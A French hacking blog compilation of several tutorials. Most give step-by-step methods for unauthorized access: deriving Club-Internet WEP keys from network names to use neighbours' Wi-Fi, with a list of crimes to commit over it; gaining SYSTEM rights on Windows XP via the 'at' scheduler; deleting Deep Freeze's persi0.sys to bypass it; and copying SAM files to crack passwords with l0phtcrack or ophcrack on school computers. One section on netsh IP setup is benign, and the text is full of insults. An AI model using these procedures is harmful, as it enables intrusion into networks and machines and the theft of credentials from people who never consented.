Déjà l'algorithme de cryptage est au niveau d'un étudiant de la première année de Médecine (mais ça c'est pour un autre tuto) et en plus ce qui m'a vraiment étonné et poussé à croire que la sécurité WEP de la plupart des FAI est vraiment quelque chose de très stupide, Ici je vais donner un exemple de l'FAI Français Club-Internet qui lutte pour garder la face devant ses clt après avoir été absorbé par N9euf Cégétel, Ce FAI, a comme modem (Comtrend Ct633, Hitachi AH2021 et le dernier Hitashi AH 4222), comme marque, je dirais pas que c'est pas bon, surtout avec la Ci-Box qui a différents méthodes pour le cryptage WEP, il supporte entre autres (WEP/ WPA /WPA-PSK/Mixed WPA1 et WPA2) et là, je trouve, que c'est merveilleux pour notre vie privée et notre sens naturel de ne pas aimer partager ce qu'on paye avec des autres :D mais le problème n'est pas là.. Cette clé qui est sensée être secrète comme notre mot de passe de Msn , on trouve qu'ici en France c'est facile de la cracker et de s'introduire dans un réseau sans fil et avec la bénédiction de Club-Internet..

Scénario:
Lieu : France
Date :2008
Heure :01h23
Une voiture noire s'est arrêtée brusquement devant une petite maison dans ce coin ignoré de la ville, il pleuvait sans cesse sur Paris cette nuit là, le premier conducteur avait un PDA à la main, il regarda la silhouette d'une dame dans le siège derrière en disant : "Voilà, nous détectons un réseau TECOM..", les yeux de la dame brillèrent de mille étoiles, comme un loup qui s'apprête à attaquer sa proie:"Enfin, Très bien.." répliqua t-elle en remettant un cd-rom au conducteur qui l'a pris avec des mains tremblantes avant de l'insérer dans le lecteur d'un pc portable en murmurant "Espérant que ça va marcher cette fois!!", la dame derrière n'a pas répondu, ses yeux était fixés sur le programme qui vient de s'exécuter demandant d'entrer les 6 derniers caractères du nom du réseau SSID qui se trouve après "TECOM-AH4222-", elle suivit les déplacements rapides des doigts du conducteur qui semblait être l'un des experts en informatique,et surtout quand...
"Wéééé !!! c'est bon, on est connecté à internet !! waw .." cria t-il soudainement en montrant à la dame l'animation sur l'écran qui prouve que l'accès à internet a réussi, l'ombre d'un sourire se dessina sur le visage de la dame qui murmura avec une voix victorieuse : "Enfin, oui, grâce au WEP Tool de Club-internet"...

Ce n'est pas une plaisanterie ou une scène d'un film d'action 3ème degré, mais c'est la réalité, Club-Internet le grand FAI Français fournit dans le kit d'installation une arme fatale qui aide à 100% les pirates amateurs -sans parler de ce que peuvent faire les experts- on parle ici du WEP Tool, un petit programme qui génère une clé WEP à 128-bits à partir du nom du réseau SSID et que vous pouvez télécharger d'un façon légale sur le portail de Club-internet sinon prenez le ici.. par exemple si vous vous baladez avec votre laptop en voiture ou même chez vous, et vous détectez un signal qui provient d'un modem de Club-internet (En général il est sous la forme de TECOM-AH4222-XXXXXX ou TECOM-AH4021-XXXXXX) et vous constatez qu'il est sécurisé et qu'il vous demande un password pour pouvoir vous y connecter, ne paniquez surtout pas !! Ne faites même pas travailler votre matière grise, car il suffit d'utiliser le générateur de clé wep que Ci a mis à votre disposition pour connaître la clé et accéder au réseau soi-disant sécurisé :D

Ne croyez surtout pas que c'est difficile de le réaliser, plutôt c'est difficile d'imaginer une telle faille.. la plupart des clients club-internet utilisent la clé wep générée par défaut sur le modem, et ont peur de la toucher, c'est presque 80% des français utilisant la wifi laisse cette clé par défaut, que ça soit des clubistes ou des abonnées chez les autres FAIs..

le faite de donner gratis un générateur de clé WEP à telecharger sur le portail avec le kit d'installation, il suffit pour une personne de détecter le réseau et par la suite générer la clé, c'est tellement con que je me demande est ce qu'il y a autre chose que je ne connais pas, sinon, n'importe qui pourra appeler la hotline et demander la clé WEP en passant par son voisin (juste car il connaît son nom et son N° de Tél)...

Pour ceux qui n'ont pas compris le danger qui se trouve derrière cette faille de sécurité je vais leurs expliquer.. si on arrive à accéder au réseau sans fil de quelqu'un et de s'y connecter on peut par exemple :

• Télécharger illégalement sur internet.
• Acheter sur internet par des cartes de crédits piratée
• Remonter des cyber-attack contre des serveurs tiers
• Ouvrir des ports sur le modem pour pouvoir les utiliser dans une intrusion..
• Bref , On peut faire tout ce qu'on ose pas faire sur notre machine et avec notre connexion, sans crainte de poursuite judiciaire ni des agents de FBI :D

Seul le proprio de la ligne et du signal wifi encaissera les coûts, mais pour toi, pauvre pirate, tu as loué son accès à internet pour une période, et c'est tout..

Et puisque notre but est purement informatif et non pas destructif, je vous donne le remède à ça, je dis pas que c'est absolu et permanent, car y a toujours des logiciel capable de casser n'importer quel signal wifi crypté, que ça soit par brute forcing ou pas injection de paquets (On reviendra vers ça dans les prochains Tutos)..

Si vous voulez configurer une liaison wifi avec votre modem routeur chez vous, la première des choses à faire c'est de changer la clé WEP à 26 caractères fournie par défaut dans le modem et mettez 26 caractères de votre choix (de 0 à 9 et de A à F), sinon si et seulement si vous un connaisseur, changer carrément le type de cryptage de WEP en WPA ou WPA-PSK ou mixer entre les 2, et vous pouvez à tout moment ajouter un filtrage par adresse MAC pour compliquer et renforcer la sécurité, (Surtout si vous gardez sur votre bécan des dossiers Top secrets sur l'assassinat de Kinidey)

Bon, l'important, c'est de changer cette clé qui se trouve sur l'interface de votre modem !!!
NB :après un reset de ce dernier pensez quand même à la rechanger encore une fois !!!

J'ai parlé ici de Club-internet juste à titre exemple !!!
Mais cette faille existe chez presque tous les FAIs en France!! et c'est exploitables, et même l'algorithme de cryptage WEP est très facile à casser..

Je reviens vers vous prochainement pour plus de détails sur le cryptage du signal wifi et les méthodes pour le casser..

Et je reste à votre entière disposition pour tout compliment d'information.

Comment avoir les droits Admin sous Windows XP en étant un simple utilisateur !!! !!!

[ Ceci vous donne les droits Système mais pas 100% des droits Admin, Il se peut que ça fonctionne pas s'il y a des restrictions admin sur cette application !!! ]

Salut tout le monde, ici moi, de la planète Mars ! comment ça va sur la terre? bien ? Waw je viens juste de sortir d'une impetoyable experience avec les Martiens, ils m'ont kidnapper parce que je voulais pirater leurs systèmes d'exploitation, saviez vous qu'ils utilisent toujours Ms-Dos? maintenant je suis chez eux entrain d'enseigner leurs petits Marsetto Win98, ils ont des Pc très évolués ( Comme ceux dans la salle d'informatique de notre chere Université, performance + élèves = Chat dans MsN ! LoL), Hélas !! , Revenant sur terre et commençant le cours , car je vois que vous avez admiré les vaccances et vous n'avez plus envie d'étudier..
Ok ! No problem !

Aujourd'hui, je vous montre une faille sur Windows XP que Monsieur Bill Gates - mettant toutes ses forces pour acheter Yahoo - a oublié de boucher ... je vous la montre pas pour vous inciter à détruire les gens et les sociétés (meme si parfois je pense qu'une société qui ne se protège pas doit être braquée).. je vous la montre en se basant sur le slogon de L'âme du Pirate (Pour un monde sans réstrictions)..

Cette faille se résume en quelques mots : Comment avoir les droits d'Admin sous XP Alors qu'on n'est qu'un simple Invité ???
Les cons entre vous qui sont tombés par erreur sur cette page vont se dire "et ça sert à quoi ça, moi je cherchais une méthode pour voler le password Msn de Isabelle ou celui de Monica Liwensky", ceux ci, étant un gentilman ,je vais pas leur répondre !! je m'adresse dans ce tuto au gens qui savent bien de quoi il s'agit..

Bon , sans plus de détails, désormais, sur l'Ame du Pirate, c'est possible de devenir Admin sur une session Invité..

Le Comment des choses :

1 - Ouvrez l'invite de commandes (Executer > cmd) et taper at hh:mm /interactive cmd.exe en remplaçant hh:mm par l'heure

de votre PC +1 minutes. Appuyez sur Entrée et vous aurez cette image :


[Cliquez sur l'image pour l'agrandir ]

2- Patientez jusqu'à ce que l'heure que vous avez tapé soit l'heure actuelle du PC et vous allez voir une seconde console qui va s'ouvrir.


[Cliquez sur l'image pour l'agrandir ]

Vous avez tous les droits administrateurs dans cette console et même plus car vous pouvez modifier les fichiers systèmes, qui ne peuvent même pas être modifié par l'administrateur lui meme !
Vous allez me dire, la console c'est pas très pratique! Certes... mais prenez l'habitude de travailler avec ce que vous avez :D
En tout cas, ce n'est qu'un détail, continuons encore 1 ou 2 minutes...

3 -Appuyez sur les touches Ctrl Alt et Suppr en même temps. Une petite application va s'ouvrir, elle permet de voir les tâches en cours.

4- Trouvez explorer.exe, sélectionnez le et cliquez sur Terminer le processus. Confirmez en cliquant sur Oui.


[Cliquez sur l'image pour l'agrandir ]

La barre Windows et le bureau vont disparaître, pas de panique !!!.
Dans la console qui s'est ouverte toute à l'heure (il est indiqué svchost.exe dans la barre du haut), tapez explorer

La barre des tâches Windows apparaît et vous avez désormais les droits System, donc toujours les droits administrateurs et même plus.

Et hop !!!
Les clés d'admin sont dans vos mains :)


[Cliquez sur l'image pour l'agrandir ]

Paramétrage de l'adresse IP sous Ms-Dos

Etant hotliner, je passais des heures pénibles avec des clients merdiques d'un FAI très connu en France, et quand je dis "MERDIQUES" ça veut dire que c'est vraiment mérdique de passer 20 mins au tél avec un client pour lui montrer ou se trouve le menu démarrer, bon maintenant on s'est habitué à ce genre de chose et à ce type d'emmerdement, mais à votre avis, un client qui ne sait pas ou se trouve le menu démarrer, pensez vous qu'il saura comment fixer les adresses ip et les DNS ???? si vous dites "oui" ou "peut être" alors sachez que vous êtes un autre Con qui s'ajoute à la liste des cons qui se baladent partout en croyant savoir tout dans l'informatique et le monde cybernetique..
Ce genre de clients c'est comme la peste , comme un troupeau de moutons, ils ont besoin d'un chef et des chiens qui les empêchent de sortir du droit chemin.. ou c'est comme les trucs qu on met à côté des yeux d'un âne pour lui éviter de regarder ailleur..
Moi est certains collègues, nous avons élaboré certaines techniques pour ne plus être emmerdés par les fantasmes des clients (comme le dit toujours mon sup) , et la meilleur des stratégies c'est de ne jamais donner au client la possiblité de chercher ailleurs, il suffit de lui montrer une simple et seule interface dans laquelle il ecrit bêtement des choses et appuie sur "Entrer" avant de lui dire enfin "testez votre connexion !! ça marche??? c bien " "nod 3la slamtek" ...

Bon, sans entrer dans les détails, car je préfère laisser ça pour un autre blog que je prépare actuellement sur le travail dans la hotline.. je vous donne une méthode très simple pour fixer les adresses ip et les Dns directement sous l interface noire de Ms-Dos, sans bousiller votre cerveau à vouloir monter aux clients (cmd >ncpa.cpl > propriété de cnx rézo local> tcp-ip...)


Je ne sais pas si vous le savez mais sous les systèmes Windows 2000/Windows XP et supérieurs, il est possible de modifier les paramètres TCP/IP à partir d'une simple ligne de commande, afin par exemple d'automatiser cette tâche grâce à un script.

Ceci est possible grâce à l'outil netsh.exe (NetShell), dont les paramètres sont précisés ci-dessous.

1- Paramétrage de l'adresse IP

>> Pour le paramétrage d'une adresse IP statique :

netsh interface ip set address "Description" static %adresse% %netmask% %gateway%

• - Description désigne un texte décrivant le nom de la connexion
• - %adresse% désigne l'adresse IP
• - %netmask% représente le masque de sous-réseau
• - %gateway% représente l'adresse IP de la passerelle

Par exemple :
netsh interface ip set address "Réseau local" static 192.168.1.3 255.255.255.0 192.168.1.1


>>Pour le paramétrage d'une adresse IP dynamique (DHCP) :
netsh interface ip set address "Description" dhcp


2- Paramétrage des serveurs de noms (DNS)

netsh interface ip set dns "Description" static %DNS%

• - %DNS% désigne l'adresse IP du serveur DNS

Comment désactiver et désinstaller Deepfreeze sans avoir le mot de passe !

Y'avait un ami à moi qui me demandait et me cassait la tête en m'envoyant des sms pour me demander comment desactiver Deepfreeze sans avoir le mot de passe, je lui invitais à chercher sur Google, il me réponadait qu'il n'a rien trouvé, je pensais que juste parce qu'il est un peu plus con que les autres qu'il ne savait pas ou trouver l'information, mais en cherchant , j'ai trouvé qu'un pauv con comme lui ou meme un con normal qui s'est habitué au prêt à porter et qui la cherche fraiche et wajda ne pouvait pas la trouver.. chacun sur les forums et les sites invente une sollution et d'autres disent n'importe quoi.. pfff
en faite après discussion avec des Gnouga dans le domaine, j'ai pensé à rédiger un petit tuto dans lequel j'explique comment dépasser la securité de DeepFreeze sans avoir son mot de passe..

Deep Freeze est un pilote en mode noyau. Donc, vous devez être en mesure de démarrer à partir d'un autre lecteur avec un programme tel que NTFSDOSPRO, commandant de la CIA, Winternals AdminPak CD ou un disque de démarrage NTFS. Quelque chose qui peut monter un lecteur NTFS pour vous donner une invite de commande.
Sinon une disquette de démarrage suffit..

S'il y a un mot de passe CMOS et si vous ne pouvez pas modifier la séquence de démarrage pour démarrer à partir d'une disquette ou d'un lecteur de CD-ROM, vous pouvez chercher si le BIOS a une clé pour acceder au menu de démarrage. en fait, beaucoup le font. Par exemple, si "Del " est ce qui vous permet d'entrer dans la configuration CMOS est protégé par un mot de passe pour le verrouillage, il peut encore être une autre clé, à l'instar de F11 qui met en place un menu de démarrage vous permettant de choisir le disque d'amorçage. Sauf s'il a expressément été désactivée dans cette CMOS vous permettra de choisir le disque d'amorçage, même s'il y a un mot de passe CMOS. Cherchez plutot sur le BIOS, le manuel de la carte mère, etc.. 3awdou l'rasskoum .. Il s'agit d'une fonction du BIOS populaires. Une autre possibilité est de démarrer avec le port USB. C'est aussi un élément séparé qui doit également être désactivé séparément dans le CMOS. I.e, elle ne fait pas partie de la séquence de démarrage normale; Il s'agit d'un réglage séparé généralement appelé quelque chose comme, "Autoriser le démarrage à partir d'autres dispositifs". La plupart des administrateurs ne sont pas trop familiers avec ces caractéristiques distinctes de BIOS. En fait, la plupart des admins que je connais sont assez intimidés par la configuration CMOS. C'est comme le registre. Ils ont peur de celui-ci. ;-) Un administrateur je connaissais ne pouvait pas comprendre la différence entre le mot de passe CMOS Setup et le Superviseur PowerOn mot de passe. Askaskas kas :)

L'étape suivante consiste à créer un Persi0.sys fichier contenant un mot de passe connu de votre propre installation de Deep Freeze. Persi0.sys est le fichier de paramètres et le mot de passe. Sous Windows 2000/XP, il est situé dans le répertoire racine. Il peut y avoir des attributs système et caché. Elle entretient des trois paramètres:
(1) Quels sont les lecteurs sont freezés
(2) mode freezé ou non
(3) le mot de passe.
Donc, si vous remplacez ce fichier avec vos propres valeurs vous pouvez contrôler Deep Freeze. Vous devez renommer l'original à Persi0.bak juste au cas où. Ne pas supprimer l'un ou Deep Freeze restera gelé en permanence. Et Persi0.sys est plus que 1.44Mo. Il a été conçu de manière à ce qu'elle ne tiennent pas sur une disquette. Donc, vous devrez utiliser un lecteur USB pouce. OU, vous pouvez le zipper et le mettre sur une disquette, puis le décompresser et de le mettre sur le disk D: de l'ordinateur, si elle en a un. Si vous le compressez, ça tiendra sur une disquette. Ou, envoyez le par mail à vous-même, dézipper, et mettez le dans le lecteur d: (encore une fois, s'il y en a un).

Il n'est pas recommandé de tenter d'enlever manuellement Deep Freeze. Il est trop compliqué. Vous aurez probablement plus de vis de l'ordinateur. Même si vous supprimez les références qui y sont faites dans le registre, et le conducteur et le service, ce n'est pas suffisant. Il suffit de remplacer le mot de passe avec votre propre fichier, vous pouvez entrer en mode décongelé et utiliser les DeepFreezeSTDEval.exe pour désinstaller Deep Freeze. Vous devez exécuter le fichier d'installation à la fois installé et de désinstaller Deep Freeze. Vous le trouverez dans Ajout / Suppression de programmes du Panneau de configuration. Donc, vous aurez besoin d'une copie de trop


Et comme tjr, pour ceux qui la veulent (Barda, w sahla ou wajda) et qui ne comprennent rien de ce qu'on vient de leur exliquer, je résume les étapes :

1- éteindre l'ordi (pour rebooter sous un autre mode non pris en charge par DeepFreeze)
2- Allumez le ensuite avec la disquette ou le Cd de démarrage dedans
3- choisissez démarrer avec prise en charge du cd-rom
4- vous arrivez à un dos (Un cours bien détaillé de Ms-Dos est en cours de rédaction)
5- tapez c:
6- tapez dir/p
7- repérez le dossier " hypert~1 "
8- tapez cd hypert~1 (Pour y accéder)
9- ensuite tapez ' dir ' pour lister son contenu
10- ouvrez tous les dossier à ouvrir jusqu'à ce que vous voyez seulement des fichiers (biensur avec la commande CD + "le nom du dossier")
11-il faut supprimer les 2 fichiers exe et supprimer un fichier caché.
12- Pour ce faire , tapez del (nom du fichier exe)
13- faites la meme chose avec l'autre exe
14- tapez attrib -h -r -a -s persis0.sys (pas la peine de comprendre de quoi il s 'agit)
15- tapez del persis0.sys (Del = delete : supprimer)
16- touchez à rien d'autre dans ce dossier tant que vous êtes tjr con et mkallakh.
17- redémarrez (en faisant reset) et en enlevant la disquette
18- laisser booter normalement
19- allez désinstaller Deep freeze conventionnellement (par panneau de config)
20- réinstallez deep freeze et mettez votre nouveau mot de passe
21- vous pouvez vous imaginez ensuite un Kiven Mitnik ou Angelina Julie dans Hackers, c'est votre droit :) Vous venez juste de deppasser la merdique protection de DeepFraise ;)

Chkoune B7alkoum :)

Détourner la protection des mots de passe de Windows (2000, NT, xp)

Salut tout le monde, comment ça roule chez vous? avez vous servi de vos cerveaux pour réaliser des choses extras ? avez vous bien révisé vos leçons ? N3asstou Mzian ? très bien.

Dans le dernier leçon je vous ai appris comment dépasser la protection de mot de passe sous Windows98 et je me rappelle très bien que je vous ai promis de bien vous montrer comment ça marche sur les autres versions de Windows (XP, NT, 2000...).

Là, ça commence à se compliquer. C'est même un vrai challenge. Mais c'est faisable (si vous ouvrez bien vos yeux et vos oreilles et..et.. je vais pas le répéter à chaque fois) .

Avant tout, je tiens à vous dire que je n'ai jamais été confronté à pirater Windows NT ou 2000. Je viens de vous apprendre à cracker les pwl ce qui devrait vous faciliter la tâche. Tout d'abord, les deux versions de Windows stockent leurs mots de passe dans un fichier beaucoup mieux crypté que les pwl, ce sont les fichiers SAM. Ils sont plus sécurisés mais ont quand même un défaut. Comme les PC basés sous Windows NT/2000 sont faits pour être compatibles avec les versions 9x de Windows, ils utilisent aussi un cryptage plus faible appelé LanMan. Ce cryptage est légèrement meilleur que pwl. En fait ce que je suis en train de vous dire est qu'il faut trouver le fichier SAM pour pirater les mots de passe. Contrairement à Windows 9x, Windows NT ou 2000 stockent tous leurs mots de passe dans un seul fichier SAM. Mais il y a quand même un désavantage à tout ça. C'est très difficile d'obtenir une copie de ces fichiers. Les véritables fichiers SAM se trouvent dans le répertoire C:/Winnt/system32/config sous le nom SAM. Mais comme par hasard, tant que Windows est lancé, il bloque l'accès à ces fichiers.

Mais on peut les récupérer en 2min30 à peu près, il suffit de télécharger ReadNtfs (http://www.telecharger.com) et avec ça, on peut lire les partitions NTFS (Ma3andkoum Madirou Bhad les termes) sous dos, donc le SAM n'a pas encore disparu (quand on est sous dos), en plus, c'est assez simple à utiliser... Il reste ensuite plus qu'à copier le SAM sur une disquette et c'est bon. Mais par contre il y a un outil que les administrateurs utilisent pour la sauvegarde des fichiers importants dans un répertoire qui n'est pas protégé, et les fichiers SAM en font partie. Ce répertoire c'est C:/Winnt/repair/ et il devrait y avoir des fichiers SAM._ . Ce sont des compressions de vrais fichiers SAM. A partir de là, 3awdou L Rasskoum w arrangez-vous pour les obtenir sur une disquette ou chez vous, afin de pouvoir les décrypter.

Admettons maintenant que vous avez obtenu (B Tam3almit Dyalkoum) une copie de ces fichiers et que vous êtes chez vous en train de relire ce tutorial… La première chose à faire est d'aller sur le net et de trouver une version du logiciel l0phtcrack (la première lettre est un L et la seconde un zéro). C'est un logiciel qui permet de récupérer et de décrypter pleins de types de mots de passe, dont les PWL et les SAM. Sauvegardez donc la copie de votre fichier SAM sur votre disque dur, puis lancez le logiciel et faites File => Import SAM et ouvrez votre fichier. Maintenant lancez le décryptage. Vous devriez faire ça avant d'aller vous coucher. (Derbouha Bchi N3ssa) et laisser tourner l'ordinateur la nuit car cela risque d'être très long. Là où cracker des fichiers PWL prenait une heure, un fichier SAM peut prendre jusqu'à 24 h avec un Pentium 3. Donc patience, beaucoup de patience.

Le mot de la fin. Il y a plusieurs autres façons de pirater un PC administré, mais cette méthode convient bien à l'école ou à l'université bien sûr ;) car vous êtes limité en temps et sûrement surveillé par un prof. Ces méthodes sont font en 5 minutes, ce qui est bien pratique. Alors amusez vous bien et surtout faites des choses utiles et ayez un but précis dans votre travail.

N:B Voici un nouveau programme basé sur la technique des ‘rainbow-tables’ pour cracker les mots de passe windows.
Pour cracker le mot de passe de votre windows, il utilise une technique comparaison des Hashs de mots de passes avec des tables de hashs connus.
Le programme est livré en deux versions : un executable, si la session est lancée et que vous voulez récuperer le pwd, ou un iso si la machine est eteinte ou ue vous pouvez la rebooter.
La taille du telechargement est assez lourde à cause des ‘rainbow tables’ (la plus petite fait + de 500Mo). A noter que d’autres rainbow tables sont telechargeables sur le site, ce qui permet de diminuer le temps nécéssaire au crackage du mot de passe.
Voici la homepage de ce joli projet : http://ophcrack.sourceforge.net/
et si vous voulez plus d’infos sur les Rainbow Tables : http://fr.wikipedia.org/wiki/Rainbow_table